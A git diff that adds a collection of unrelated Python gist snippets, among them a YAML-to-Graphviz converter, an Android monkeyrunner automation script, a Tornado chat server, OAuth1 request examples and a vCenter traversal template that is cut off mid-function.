+Usage: python yaml2dot-tree.py test.yaml > output.gv 
+'''
+
+
+import yaml
+
+
+def quote(s):
+    if not isinstance(s, basestring):
+        s = str(s)
+    return u'"{}"'.format(s.replace(u'"', u'\\"'))
+
+
+def edge_str(a, b=None):
+    if b is not None:
+        return '%s -> %s' % (quote(a), quote(b))
+    else:
+        return '%s' % quote(a)
+
+
+def get_edges(name, children):
+    edges = []
+    edges.append(edge_str(name))
+    for c in children:
+        if isinstance(c, basestring):
+            edges.append(edge_str(name, c))
+        elif isinstance(c, dict):
+            key = c.keys()[0]
+            edges.append(edge_str(name, key))
+            edges = edges + get_edges(key, c[key])
+    return edges
+
+def yaml_to_dot(yml):
+    edges = []
+    for name, children in yaml.load(yml).items():
+        edges = edges + get_edges(name, children)
+
+    tmpl = """digraph {
+node [shape=rectangle];
+rankdir=LR;
+splines=false;
+    %s
+}
+    """
+    gv = tmpl % ";\n    ".join(edges)
+    return gv
+
+
+
+if __name__ == '__main__':
+    import sys
+    if len(sys.argv) > 1:
+        input = open(sys.argv[1], 'r')
+    else:
+        input = sys.stdin
+    print(yaml_to_dot(input).encode('utf-8'))
\ No newline at end of file
diff --git a/hard-gists/2511428/._snippet.py b/hard-gists/2511428/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2511428/._snippet.py differ
diff --git a/hard-gists/2511428/snippet.py b/hard-gists/2511428/snippet.py
new file mode 100644
index 00000000..f581fdd7
--- /dev/null
+++ b/hard-gists/2511428/snippet.py
@@ -0,0 +1,96 @@
+# adjusted for a Samsung Galaxy Nexus running ICS, Soundhound and Skype installed, not really reusable.
+
+# Imports the monkeyrunner modules used by this program
+from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice
+
+# # Connects to the current device, returning a MonkeyDevice object
+device = MonkeyRunner.waitForConnection()
+
+# sets a variable with the package's internal name
+package = 'com.melodis.midomiMusicIdentifier'
+
+# sets a variable with the name of an Activity in the package
+activity = 'com.soundhound.android.appcommon.activity.SoundHound'
+
+# sets the name of the component to start
+runComponent = package + '/' + activity
+
+# Runs the component
+device.startActivity(component=runComponent)
+
+# wait
+MonkeyRunner.sleep(2)
+
+# listen to a new song
+device.touch(350, 340, MonkeyDevice.DOWN_AND_UP)
+
+MonkeyRunner.sleep(25)
+
+# Takes a screenshot
+result = device.takeSnapshot()
+
+# Writes the screenshot to a file
+result.writeToFile('screenshot.png', 'png')
+
+# share the song
+device.touch(480, 100, MonkeyDevice.DOWN_AND_UP)
+
+# wait
+MonkeyRunner.sleep(5)
+
+# more share options
+device.touch(570, 100, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(4)
+
+# EMAIL
+# select email from the list
+device.touch(360, 580, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(2)
+# type email address - DISABLED
+# device.type('luis@ribot.co.uk')
+# # send
+# device.touch(570, 100, MonkeyDevice.DOWN_AND_UP)
+
+# copy message body
+# * copy paste *
+# select word
+device.drag((340, 600), (340, 600), 2, 1)
+# wait
+MonkeyRunner.sleep(1)
+# select all
+device.touch(340, 100, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(1)
+# cut
+device.touch(430, 100, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(1)
+
+# PASTE TO SKYPE
+# switch to skype
+device.startActivity(component='com.skype.raider/com.skype.raider.Main')
+# wait
+MonkeyRunner.sleep(2)
+# go home
+device.touch(60, 100, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(2)
+# press recent
+device.touch(520, 460, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(2)
+# press item on top of the list
+device.touch(350, 280, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(2)
+# press the input field
+device.touch(350, 1135, MonkeyDevice.DOWN_AND_UP)
+# wait
+MonkeyRunner.sleep(2)
+# paste
+device.drag((60, 608), (60, 608), 3, 1)
+device.touch(60, 530, MonkeyDevice.DOWN_AND_UP)
+# press return
+device.press('KEYCODE_ENTER', MonkeyDevice.DOWN_AND_UP)
\ No newline at end of file
diff --git a/hard-gists/2511464/._snippet.py b/hard-gists/2511464/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2511464/._snippet.py differ
diff --git a/hard-gists/2511464/snippet.py b/hard-gists/2511464/snippet.py
new file mode 100644
index 00000000..d65a7160
--- /dev/null
+++ b/hard-gists/2511464/snippet.py
@@ -0,0 +1,80 @@
+'''
+Created on Apr 27, 2012
+
+Based on echo server http://tornadogists.org/1231481/ by phus
+
+@author: mark-allen
+'''
+
+import logging
+
+from tornado.ioloop import IOLoop
+from tornado.iostream import IOStream
+from tornado.netutil import TCPServer
+
+class ChatConnection(object):
+	
+	def __init__(self, stream, address, connections):
+		logging.info('receive a new connection from %s', address)
+		self.state = 'AUTH'
+		self.name = None
+		self.connections = connections;
+		self.stream = stream
+		self.address = address
+		self.stream.set_close_callback(self._on_close)
+		self.stream.read_until('\n', self._on_read_line)
+		stream.write('Enter your name: ', self._on_write_complete)
+	
+	def _on_read_line(self, data):
+		logging.info('read a new line from %s', self.address)
+		if self.state == 'AUTH':
+			name = data.rstrip();
+			if self.connections.has_key(name):
+				self.stream.write('Name taken, choose another: ', self._on_write_complete)
+				return
+			# message = 'Welcome, %s!\n' % (name)
+			self.stream.write('Welcome, %s!\n' % (name), self._on_write_complete)
+			self.connections[name] = self
+			self.name = name
+			self.state = 'CHAT'
+			message = '%s has arrived\n' % (self.name)
+			for _,conn in self.connections.iteritems():
+				if conn != self:
+					conn.stream.write(message, self._on_write_complete)
+		else:
+			message = '<%s> %s\n' % (self.name, data.rstrip())
+			for _,conn in self.connections.iteritems():
+				if conn != self:
+					conn.stream.write(message, self._on_write_complete)
+	
+	def _on_write_complete(self):
+		logging.info('wrote a line to %s', self.address)
+		if not self.stream.reading():
+			self.stream.read_until('\n', self._on_read_line)
+	
+	def _on_close(self):
+		logging.info('client quit %s', self.address)
+		if self.name != None:
+			del self.connections[self.name]
+			message = '%s has left\n' % (self.name)
+			for _,conn in self.connections.iteritems():
+				conn.stream.write(message, self._on_write_complete)
+
+class ChatServer(TCPServer):
+
+	def __init__(self, io_loop=None, ssl_options=None, **kwargs):
+		logging.info('a echo tcp server is started')
+		TCPServer.__init__(self, io_loop=io_loop, ssl_options=ssl_options, **kwargs)
+
+	def handle_stream(self, stream, address):
+		ChatConnection(stream, address, chat_connections)
+
+def main(connections):
+	chat_server = ChatServer()
+	chat_server.listen(8888)
+	IOLoop.instance().start()
+
+chat_connections = {}
+
+if __name__ == '__main__':
+	main(chat_connections)
diff --git a/hard-gists/2522574/._snippet.py b/hard-gists/2522574/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2522574/._snippet.py differ
diff --git a/hard-gists/2522574/snippet.py b/hard-gists/2522574/snippet.py
new file mode 100644
index 00000000..07b5485f
--- /dev/null
+++ b/hard-gists/2522574/snippet.py
@@ -0,0 +1,135 @@
+import sys
+import threading
+import Queue
+
+import wx
+
+_noTimeoutDefault = object()
+def defer(
+    returnToFunction,
+    function,
+    args=None,
+    kwargs=None,
+    timeout=None,
+    timeoutFunction=None,
+    timeoutDefault=_noTimeoutDefault,
+    exceptionFunction = None,
+):
+    if not args:
+        args = ()
+    if not kwargs:
+        kwargs = {}
+    resultQueue = Queue.Queue()
+    workerThread = WorkerThread(function, args, kwargs, resultQueue)
+    monitorThread = MonitorThread(resultQueue, returnToFunction, timeout, 
+                                  timeoutFunction, timeoutDefault, 
+                                  exceptionFunction)
+    workerThread.start()
+    monitorThread.start()
+
+def reraise(exception, trace):
+    """
+    """
+    raise exception.__class__, exception, trace
+defer.reraise = reraise
+
+class WorkerThread(threading.Thread):
+    def __init__(self, function, args, kwargs, resultQueue):
+        self.function = function
+        self.resultQueue = resultQueue
+        self.args = args
+        self.kwargs = kwargs
+        
+        threading.Thread.__init__(self)
+    
+    def run(self):
+        try:
+            result = self.function(*self.args, **self.kwargs)
+        except:
+            (exception,trace) = sys.exc_info()[1:]
+            self.resultQueue.put((False,(exception,trace)))
+        else:
+            self.resultQueue.put((True,result))
+
+class MonitorThread(threading.Thread):
+    def __init__(
+        self,
+        resultQueue,
+        returnToFunction,
+        timeout,
+        timeoutFunction,
+        timeoutDefault,
+        exceptionFunction,
+    ):
+        self.resultQueue = resultQueue
+        self.returnToFunction = returnToFunction
+        self.timeout = timeout
+        self.timeoutFunction = timeoutFunction
+        self.timeoutDefault = timeoutDefault
+        self.exceptionFunction = exceptionFunction
+        
+        threading.Thread.__init__(self)
+    
+    def run(self):
+        try:
+            (isResult, result) = self.resultQueue.get(True, self.timeout)
+            if isResult:
+                if self.returnToFunction is not None:
+                    wx.CallAfter(self.returnToFunction, result)
+            elif self.exceptionFunction:
+                (exception,trace) = result
+                wx.CallAfter(self.exceptionFunction, exception, trace)
+        except Queue.Empty:
+            print "****** timeout"
+            # We can't externally kill the worker thread. The best we can do is
+            # hope it finishes at some point to free resources. Since it is a
+            # deamon it won't prevent program termination if it never finishes.
+            
+            if self.timeoutFunction:
+                if self.timeoutDefault == _noTimeoutDefault:
+                    wx.CallAfter(self.timeoutFunction)
+                else:
+                    wx.CallAfter(self.timeoutFunction, self.timeoutDefault)
+            else:
+                if self.timeoutDefault == _noTimeoutDefault:
+                    wx.CallAfter(self.returnToFunction)
+                else:
+                    wx.CallAfter(self.returnToFunction, self.timeoutDefault)
+
+
+def test():
+    import time
+    import random
+
+    timeout = random.choice(xrange(1,5))
+    sleep = random.choice(xrange(1,5))
+    def slowFunction(wait):
+        time.sleep(wait)
+        return "slowFunction() managed to finish before timeout"
+    
+    def resultCallback(result):
+        label.SetLabel(result)
+    
+    def timeoutCallback():
+        label.SetLabel('slowFunction() did not finish before timeout')
+    
+    app = wx.PySimpleApp()
+    frame = wx.Frame(None,-1,"defer test with random time")
+    
+    panel = wx.Panel(frame,-1)
+    panelSizer = wx.BoxSizer(wx.VERTICAL)
+    panel.SetSizer(panelSizer)
+    
+    label = wx.StaticText(panel,-1)
+    label.SetLabel('slowFunction() takes %s sec to run, timeout=%s sec' %(sleep, timeout))
+
+    panelSizer.Add(label)
+
+    frame.Show(True)
+    
+    defer(resultCallback, slowFunction, (sleep,), timeout=timeout, timeoutFunction=timeoutCallback)
+    
+    app.MainLoop()
+
+if __name__ == '__main__':
+    test()
diff --git a/hard-gists/2545a281e3f17ba6ef82/._snippet.py b/hard-gists/2545a281e3f17ba6ef82/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2545a281e3f17ba6ef82/._snippet.py differ
diff --git a/hard-gists/2545a281e3f17ba6ef82/snippet.py b/hard-gists/2545a281e3f17ba6ef82/snippet.py
new file mode 100644
index 00000000..cb6b5971
--- /dev/null
+++ b/hard-gists/2545a281e3f17ba6ef82/snippet.py
@@ -0,0 +1,86 @@
+import vapoursynth as vs
+
+
+def _clamp(minimum, x, maximum):
+    return int(max(minimum, min(round(x), maximum)))
+
+
+def _m4(x, m=4.0):
+    return 16 if x < 16 else int(round(x / m) * m)
+
+
+def psharpen(clip, strength=25, threshold=75, ss_x=1.0, ss_y=1.0,
+             dest_x=None, dest_y=None):
+    """From http://forum.doom9.org/showpost.php?p=683344&postcount=28
+
+    Sharpeing function similar to LimitedSharpenFaster.
+
+    Args:
+        strength (int): Strength of the sharpening.
+        threshold (int): Controls "how much" to be sharpened.
+        ss_x (float): Supersampling factor (reduce aliasing on edges).
+        ss_y (float): Supersampling factor (reduce aliasing on edges).
+        dest_x (int): Output resolution after sharpening.
+        dest_y (int): Output resolution after sharpening.
+    """
+    core = vs.get_core()
+
+    ox = clip.width
+    oy = clip.height
+
+    bd = clip.format.bits_per_sample
+    max_ = 2 ** bd - 1
+    scl = (max_ + 1) // 256
+    x = 'x {} /'.format(scl) if bd != 8 else 'x'
+    y = 'y {} /'.format(scl) if bd != 8 else 'y'
+
+    if dest_x is None:
+        dest_x = ox
+    if dest_y is None:
+        dest_y = oy
+
+    strength = _clamp(0, strength, 100)
+    threshold = _clamp(0, threshold, 100)
+
+    if ss_x < 1.0:
+        ss_x = 1.0
+    if ss_y < 1.0:
+        ss_y = 1.0
+
+    if ss_x != 1.0 or ss_y != 1.0:
+        clip = core.resize.Lanczos(clip, width=_m4(ox*ss_x), height=_m4(oy*ss_y))
+
+    orig = clip
+
+    if orig.format.num_planes != 1:
+        clip = core.std.ShufflePlanes(clips=clip, planes=[0],
+                                      colorfamily=vs.GRAY)
+    val = clip
+
+    max_ = core.std.Maximum(clip)
+    min_ = core.std.Minimum(clip)
+
+    nmax = core.std.Expr([max_, min_], ['x y -'])
+    nval = core.std.Expr([val, min_], ['x y -'])
+
+    s = strength/100.0
+    t = threshold/100.0
+    x0 = t * (1.0 - s) / (1.0 - (1.0 - t) * (1.0 - s))
+
+    expr = ('{x} {y} / 2 * 1 - abs {x0} < {s} 1 = {x} {y} 2 / = 0 {y} 2 / ? '
+            '{x} {y} / 2 * 1 - abs 1 {s} - / ? {x} {y} / 2 * 1 - abs 1 {t} - '
+            '* {t} + ? {x} {y} 2 / > 1 -1 ? * 1 + {y} * 2 / {scl} *').format(
+                x=x, y=y, x0=x0, t=t, s=s, scl=scl)
+
+    nval = core.std.Expr([nval, nmax], [expr])
+
+    val = core.std.Expr([nval, min_], ['x y +'])
+
+    if orig.format.num_planes != 1:
+        clip = core.std.ShufflePlanes(clips=[val, orig], planes=[0, 1, 2],
+                                      colorfamily=orig.format.color_family)
+
+    if ss_x != 1.0 or ss_y != 1.0 or dest_x != ox or dest_y != oy:
+        clip = core.resize.Lanczos(clip, width=dest_x, height=dest_y)
+
+    return clip
diff --git a/hard-gists/256155/._snippet.py b/hard-gists/256155/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/256155/._snippet.py differ
diff --git a/hard-gists/256155/snippet.py b/hard-gists/256155/snippet.py
new file mode 100644
index 00000000..6a4aaf6d
--- /dev/null
+++ b/hard-gists/256155/snippet.py
@@ -0,0 +1,37 @@
+import base64
+from django.utils import simplejson
+import urllib
+from google.appengine.api import urlfetch
+ 
+def track(event, properties=None):
+    """
+        A simple function for asynchronously logging to the mixpanel.com API on App Engine 
+        (Python) using RPC URL Fetch object.
+        @param event: The overall event/category you would like to log this data under
+        @param properties: A dictionary of key-value pairs that describe the event
+        See http://mixpanel.com/api/ for further detail. 
+        @return Instance of RPC Object
+    """
+    if properties == None:
+        properties = {}
+    token = "YOUR_TOKEN"
+    if "token" not in properties:
+        properties["token"] = token
+    
+    params = {"event": event, "properties": properties}
+        
+    data = base64.b64encode(simplejson.dumps(params))
+    request = "http://api.mixpanel.com/track/?data=" + data
+    
+    rpc = urlfetch.create_rpc()
+    urlfetch.make_fetch_call(rpc, request)
+    
+    return rpc
+        
+def track_funnel(funnel, step, goal, properties=None):
+    if properties == None:
+        properties = {}
+    properties["funnel"] = funnel
+    properties["step"] = step
+    properties["goal"] = goal
+    track("mp_funnel", properties)
\ No newline at end of file
diff --git a/hard-gists/2571471/._snippet.py b/hard-gists/2571471/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2571471/._snippet.py differ
diff --git a/hard-gists/2571471/snippet.py b/hard-gists/2571471/snippet.py
new file mode 100644
index 00000000..81d0cbe4
--- /dev/null
+++ b/hard-gists/2571471/snippet.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+import sys
+import signal
+from webkit2png import WebkitRenderer
+from PyQt4.QtCore import *
+from PyQt4.QtGui import *
+from PyQt4.QtWebKit import QWebPage
+app = QApplication(sys.argv)
+signal.signal(signal.SIGINT, signal.SIG_DFL)
+wkr = WebkitRenderer()
+
+hosts = ['http://www.google.com','http://wikipedia.com','http://github.com']
+for host in hosts:
+    try:
+        f = open(("%s.png"%host).replace('/','_'),'w')
+        wkr.render_to_file(host,f)
+        f.close()
+        print "finished %s" % host
+    except Exception,err:
+        print "Error on %s: %s" % (host,str(err))
diff --git a/hard-gists/2577781/._snippet.py b/hard-gists/2577781/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2577781/._snippet.py differ
diff --git a/hard-gists/2577781/snippet.py b/hard-gists/2577781/snippet.py
new file mode 100644
index 00000000..e33c008d
--- /dev/null
+++ b/hard-gists/2577781/snippet.py
@@ -0,0 +1,89 @@
+#!/usr/bin/env python
+# Thread pool based on: http://code.activestate.com/recipes/577187-python-thread-pool/
+
+from queue import Queue
+from threading import Thread
+from functools import partial
+
+import tornado.httpserver
+import tornado.ioloop
+import tornado.options
+import tornado.web
+from tornado import gen
+from tornado.ioloop import IOLoop
+
+import himitsu
+
+
+def make_hash(text):
+    b = himitsu.Bcrypt()
+    return b.encode(text)
+
+
+class WorkerThread(Thread):
+    def __init__(self, queue):
+        Thread.__init__(self)
+        self.queue = queue
+        self.daemon = True
+        self.start()
+
+    def run(self):
+        while True:
+            func, args, kwargs, callback = self.queue.get()
+            try:
+                result = func(*args, **kwargs)
+                if callback is not None:
+                    IOLoop.instance().add_callback(partial(callback, result))
+            except Exception as e:
+                print(e)
+            self.queue.task_done()
+
+
+class ThreadPool(object):
+    def __init__(self, num_threads):
+        self.queue = Queue()
+        for _ in range(num_threads):
+            WorkerThread(self.queue)
+
+    def add_task(self, func, args=(), kwargs={}, callback=None):
+        self.queue.put((func, args, kwargs, callback))
+
+    def wait_completion(self):
+        self.queue.join()
+
+
+class BaseHandler(tornado.web.RequestHandler):
+    @property
+    def pool(self):
+        if not hasattr(self.application, 'pool'):
+            self.application.pool = ThreadPool(20)
+        return self.application.pool
+
+
+class IndexHandler(BaseHandler):
+    @tornado.web.asynchronous
+    @gen.engine
+    def get(self):
+        result = yield gen.Task(
+            self.pool.add_task, make_hash, ('Test',)
+        )
+        self.write(result)
+        self.finish()
+
+def main():
+    try:
+        tornado.options.parse_command_line()
+
+        application = tornado.web.Application([
+            (r'/', IndexHandler)
+        ], debug=True)
+
+        http_server = tornado.httpserver.HTTPServer(application)
+        http_server.listen(8888)
+        tornado.ioloop.IOLoop.instance().start()
+    except KeyboardInterrupt:
+        print('Exit')
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/2581132/._snippet.py b/hard-gists/2581132/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2581132/._snippet.py differ
diff --git a/hard-gists/2581132/snippet.py b/hard-gists/2581132/snippet.py
new file mode 100644
index 00000000..4532cdd8
--- /dev/null
+++ b/hard-gists/2581132/snippet.py
@@ -0,0 +1,23 @@
+import requests
+from requests.auth import OAuth1
+
+url = u'https://api.twitter.com/1/account/settings.json'
+
+client_key = u'...'
+client_secret = u'...'
+resource_owner_key = u'...'
+resource_owner_secret = u'...'
+
+queryoauth = OAuth1(client_key, client_secret,
+                    resource_owner_key, resource_owner_secret,
+                    signature_type='query')
+headeroauth = OAuth1(client_key, client_secret,
+                     resource_owner_key, resource_owner_secret,
+                     signature_type='auth_header')
+bodyoauth = OAuth1(client_key, client_secret,
+                   resource_owner_key, resource_owner_secret,
+                   signature_type='body')
+
+r_query = requests.get(url, auth=queryoauth)
+r_header = requests.get(url, auth=headeroauth)
+r_body = requests.post(url, auth=bodyoauth)
diff --git a/hard-gists/2584789/._snippet.py b/hard-gists/2584789/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2584789/._snippet.py differ
diff --git a/hard-gists/2584789/snippet.py b/hard-gists/2584789/snippet.py
new file mode 100644
index 00000000..b57570e5
--- /dev/null
+++ b/hard-gists/2584789/snippet.py
@@ -0,0 +1,23 @@
+import requests
+from requests.auth import OAuth1
+from oauthlib.oauth1.rfc5849 import SIGNATURE_RSA
+
+client_key = u'...'
+
+# You need to register your key with the OAuth provider first,
+# in this case Google at https://accounts.google.com/ManageDomains
+key = open("your_rsa_key.pem").read()
+
+# Request token endpoint for access to Blogger
+url = u'https://www.google.com/accounts/OAuthGetRequestToken?scope=https%3A%2F%2Fwww.blogger.com%2Ffeeds%2F'
+
+queryoauth = OAuth1(client_key, signature_method=SIGNATURE_RSA,
+                    rsa_key=key, signature_type='query')
+headeroauth = OAuth1(client_key, signature_method=SIGNATURE_RSA,
+                    rsa_key=key, signature_type='auth_header')
+bodyoauth = OAuth1(client_key, signature_method=SIGNATURE_RSA,
+                    rsa_key=key, signature_type='body')
+
+r_query = requests.get(url, auth=queryoauth)
+r_header = requests.get(url, auth=headeroauth)
+r_body = requests.post(url, auth=bodyoauth)
\ No newline at end of file
diff --git a/hard-gists/258a248d20334e781b56/._snippet.py b/hard-gists/258a248d20334e781b56/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/258a248d20334e781b56/._snippet.py differ
diff --git a/hard-gists/258a248d20334e781b56/snippet.py b/hard-gists/258a248d20334e781b56/snippet.py
new file mode 100644
index 00000000..69e599e6
--- /dev/null
+++ b/hard-gists/258a248d20334e781b56/snippet.py
@@ -0,0 +1,78 @@
+# -*- coding: utf-8 -*-
+
+from datetime import datetime
+
+from django.core.files.base import ContentFile
+from django.core.files.storage import Storage
+from django.utils.deconstruct import deconstructible
+
+from settings.base import get_env_variable
+
+from azure.storage import BlobService
+
+
+@deconstructible
+class AzureBlobStorage(Storage):
+
+    def __init__(self, account='nyxstorage', container='pxo'):
+        self.base_storage_uri = 'http://%s.blob.core.windows.net/%s/' % (
+            account, container)
+        self.blob_service = BlobService(
+            account, get_env_variable('AZURE_BLOB_STORAGE_KEY'))
+        self.container = container
+
+    def _open(self, name, mode='rb'):
+        data = self.blob_service.get_blob(self.container, name)
+        return ContentFile(data)
+
+    def _save(self, name, content):
+        _file = content.read()
+        file_name = content.name[-35:]
+        self.blob_service.put_blob(
+            self.container, file_name, _file, x_ms_blob_type='BlockBlob')
+        return self.base_storage_uri + file_name
+
+    def create_container(self, container_name):
+        result = self.blob_service.create_container(
+            container_name, x_ms_blob_public_access='container')
+        return result
+
+    def delete(self, name):
+        self.blob_service.delete_blob(self.container, name)
+
+    def exists(self, name):
+        try:
+            self.blob_service.get_blob_properties(self.container, name)
+        except:
+            return False
+        else:
+            return True
+
+    def get_available_name(self, name):
+        return name
+
+    def get_blobs(self):
+        blobs = self.blob_service.list_blobs(self.container)
+        return blobs
+
+    def get_valid_name(self, name):
+        return name
+
+    def modified_time(self, name):
+        metadata = self.blob_service.get_blob_metadata(self.container, name)
+        modified_time = float(metadata.get('x-ms-meta-modified_time'))
+        return datetime.fromtimestamp(modified_time)
+
+    def set_public_container(self, container_name):
+        result = self.blob_service.set_container_acl(
+            container_name, x_ms_blob_public_access='container')
+        return result
+
+    def size(self, name):
+        properties = self.blob_service.get_blob_properties(
+            self.container, name)
+        return properties.get('content-length')
+
+    def url(self, name):
+        blob = self.blob_service.list_blobs(self.container, prefix=name)
+        return blob.blobs[0].url
\ No newline at end of file
diff --git a/hard-gists/2590850/._snippet.py b/hard-gists/2590850/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2590850/._snippet.py differ
diff --git a/hard-gists/2590850/snippet.py b/hard-gists/2590850/snippet.py
new file mode 100644
index 00000000..cdf10e18
--- /dev/null
+++ b/hard-gists/2590850/snippet.py
@@ -0,0 +1,84 @@
+import bpy
+from mathutils import Color
+
+bl_info = {
+    'name': 'Select By Color',
+    'author': 'Tamas Kemenczy',
+    'version': (0, 1),
+    'blender': (2, 6, 1),
+    'location': 'View3D > Specials > Select By Color',
+    'description': 'Select all faces with the same vertex color of the selected face',
+    'category': 'Mesh'
+}
+
+def select_by_color(obj, threshold=0.01):
+    # get wierd behavior/errors when in editmode
+    bpy.ops.object.editmode_toggle()
+
+    colors = obj.data.vertex_colors.active.data
+    selected_polygons = list(filter(lambda p: p.select, obj.data.polygons))
+
+    if len(selected_polygons):
+        p = selected_polygons[0]
+        r = g = b = 0
+        for i in p.loop_indices:
+            c = colors[i].color
+            r += c.r
+            g += c.g
+            b += c.b
+        r /= p.loop_total
+        g /= p.loop_total
+        b /= p.loop_total
+        target = Color((r, g, b))
+
+        for p in obj.data.polygons:
+            r = g = b = 0
+            for i in p.loop_indices:
+                c = colors[i].color
+                r += c.r
+                g += c.g
+                b += c.b
+            r /= p.loop_total
+            g /= p.loop_total
+            b /= p.loop_total
+            source = Color((r, g, b))
+
+            print(target, source)
+
+            if (abs(source.r - target.r) < threshold and
+                abs(source.g - target.g) < threshold and
+                abs(source.b - target.b) < threshold):
+
+                p.select = True
+
+    bpy.ops.object.editmode_toggle()
+
+class SelectByColor(bpy.types.Operator):
+    bl_idname = 'mesh.select_by_color'
+    bl_label = 'Select By Color'
+    bl_options = {'REGISTER', 'UNDO'}
+
+    threshold = bpy.props.FloatProperty(name='Threshold', default=0.01, min=0.001, max=1.0, step=1)
+
+    @classmethod
+    def poll(cls, context):
+        obj = context.active_object
+        return (obj and obj.type == 'MESH')
+
+    def execute(self, context):
+        select_by_color(context.active_object, self.threshold)
+        return {'FINISHED'}
+
+def menu_func(self, context):
+    self.layout.operator(SelectByColor.bl_idname, text='Select By Color')
+
+def register():
+    bpy.utils.register_module(__name__)
+    bpy.types.VIEW3D_MT_edit_mesh_specials.append(menu_func)
+
+def unregister():
+    bpy.utils.unregister_module(__name__)
+    bpy.types.VIEW3D_MT_edit_mesh_specials.remove(menu_func)
+
+if __name__ == "__main__":
+    register()
diff --git a/hard-gists/25b92260471cfbdc8054/._snippet.py b/hard-gists/25b92260471cfbdc8054/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/25b92260471cfbdc8054/._snippet.py differ
diff --git a/hard-gists/25b92260471cfbdc8054/snippet.py b/hard-gists/25b92260471cfbdc8054/snippet.py
new file mode 100644
index 00000000..80f9b9a7
--- /dev/null
+++ b/hard-gists/25b92260471cfbdc8054/snippet.py
@@ -0,0 +1,222 @@
+#!/usr/bin/env python
+# This is sort of a template script for most operations that might have to
+# recursively traverse the vcenter objects looking for something.
+#
+# by Stefan Midjich <swehack@gmail.com>
+#
+# See comments further down in the code to understand more.
+# It's important to know the object structure of your vcenter so look into
+# your own MOB first. It's found at https://10.11.12.13/mob on your vcenter
+# server.
+# In the MOB you have several paths to take.
+#   * content.rootFolder.childEntity - Datacenters
+#   * Datacenter.hostFolder - Clusters
+#   * Datacenter.vmFolder - VM Folders
+#
+# VM Folders is the structure you see in the VC client under VMs and
+# Templates.
+# Clusters will lead you to hosts but you can also see which host a VM is on
+# through VM Folders and the actual VirtualMachine object.
+#
+# See help by running ./pyvmomi_example1.py --help
+#
+# Config files read are:
+#   * ./import_defaults.cfg
+#   * ./import_local.cfg
+#
+# Config file example:
+#
+# [vcenter]
+# hostname = 10.11.12.13
+# username = svc_vmware
+# password = secrets
+# port = 443
+
+from __future__ import print_function
+
+import atexit
+from sys import exit, stderr
+from urllib import unquote
+from argparse import ArgumentParser
+from ConfigParser import ConfigParser
+
+from pyVim.connect import SmartConnect, Disconnect
+
+config = ConfigParser()
+config.readfp(open('pyvmomi_defaults.cfg'))
+config.read(['./pyvmomi_local.cfg'])
+
+parser = ArgumentParser(
+    description='List all VMs on a specific ESX host',
+    epilog='Example: ./get_all_vms.py -c my_pyvmomi.cfg'
+)
+
+parser.add_argument(
+    '-c', '--configuration',
+    type=file,
+    dest='config_file',
+    help='Additional configuration options'
+)
+
+parser.add_argument(
+    '-v', '--verbose',
+    action='count',
+    default=False,
+    dest='verbose',
+    help='Verbose output, use more v\'s to increase level'
+)
+
+
+# Recursively traverse vm entities from vcenter (datacenters, clusters,
+# folders, vms)
+def traverse_entities(vc_root, depth=1):
+    args = parser.parse_args()
+
+    # Recursive depth limit
+    maxdepth = 16
+
+    if depth > maxdepth:
+        if args.verbose:
+            print(
+                'Reached max recursive depth, bailing out like a banker',
+                file=stderr
+            )
+        return
+
+    # This stores the name of the class, identifies the type of objects we're
+    # dealing with.
+    object_type = vc_root.__class__.__name__
+
+    # Datacenter
+    if object_type == 'vim.Datacenter':
+        datacenter_name = unquote(vc_root.name)
+
+        # First recurse through clusters in Datacenter.hostFolder
+        for _entity in vc_root.hostFolder.childEntity:
+            traverse_entities(_entity, depth+1)
+
+        # Continue recursively to subfolders in Datacenter.vmFolder
+        for _entity in vc_root.vmFolder.childEntity:
+            traverse_entities(_entity, depth+1)
+        return
+
+    # Clusters
+    if object_type == 'vim.ClusterComputeResource':
+        cluster_name = unquote(vc_root.name)
+
+        # Loop through hosts in this cluster in Cluster.host
+        for _entity in vc_root.host:
+            traverse_entities(_entity, depth+1)
+        return
+
+    # This is an ESX host under a datacenter, weirdly enough...
+    if object_type == 'vim.ComputeResource':
+        resource_name = unquote(vc_root.name)
+
+        # Loop through member ESX hosts of this resource
+        for _entity in vc_root.host:
+            traverse_entities(_entity, depth+1)
+        return
+
+    # ESX Hosts
+    if object_type == 'vim.HostSystem':
+        host_name = unquote(vc_root.name)
+
+        # This code was added only to demonstrate how to list all VMs of a host.
+        print('Searching ESX host {0}'.format(host_name))
+
+        # Loop through VMs on this host
+        for _entity in vc_root.vm:
+            traverse_entities(_entity, depth+1)
+
+        print('Finished searching ESX host {0} for VMs'.format(host_name))
+        # End of demonstration code. Remove this and use the last bit of
+        # traverse_entities to process VMs per cluster instead of per ESX host.
+
+        return
+
+    # Folders
+    if object_type == 'vim.Folder':
+        folder_name = unquote(vc_root.name)
+
+        # Traverse subfolders of this folder
+        for _entity in vc_root.childEntity:
+            traverse_entities(_entity, depth+1)
+        return
+
+    # Virtual Appliances
+    if object_type == 'vim.VirtualApp':
